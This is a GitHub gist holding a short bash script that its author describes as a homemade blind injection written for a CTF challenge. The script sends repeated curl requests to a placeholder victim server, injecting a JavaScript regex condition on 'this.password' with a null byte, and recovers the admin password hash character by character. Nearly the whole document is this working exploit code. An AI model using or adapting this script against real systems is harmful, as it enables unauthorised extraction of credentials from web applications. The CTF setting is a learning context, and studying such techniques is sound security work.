Skip to content

Instantly share code, notes, and snippets.

@razlupercio
Created December 21, 2021 07:30
Show Gist options
  • Save razlupercio/d4a3ea3b68cb6716d712b394f770a28d to your computer and use it in GitHub Desktop.
Save razlupercio/d4a3ea3b68cb6716d712b394f770a28d to your computer and use it in GitHub Desktop.
a homemade-blind-sqli i did for some challenge on a CTF... python might be faster tho...
#!/bin/bash
baseurl="http://victim.server.io/"
hash=""
while [ true ]
do
for x in {{a..z},-,{0..9}}
do
if curl -s "$baseurl?search=admin%27%20%26%26%20this.password.match(/^${hash}${x}.*$/)%00:" | grep -q "search=admin"; then
if curl -s "$baseurl?search=admin%27%20%26%26%20this.password.match(/${hash}${x}$/)%00:" | grep -q "search=admin"; then
echo "hash is ${hash}"
break 2 # 2 indicates to break the outer loop
else
hash=$hash$x
# echo $hash$x # echo for debug
fi
break
fi
done
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment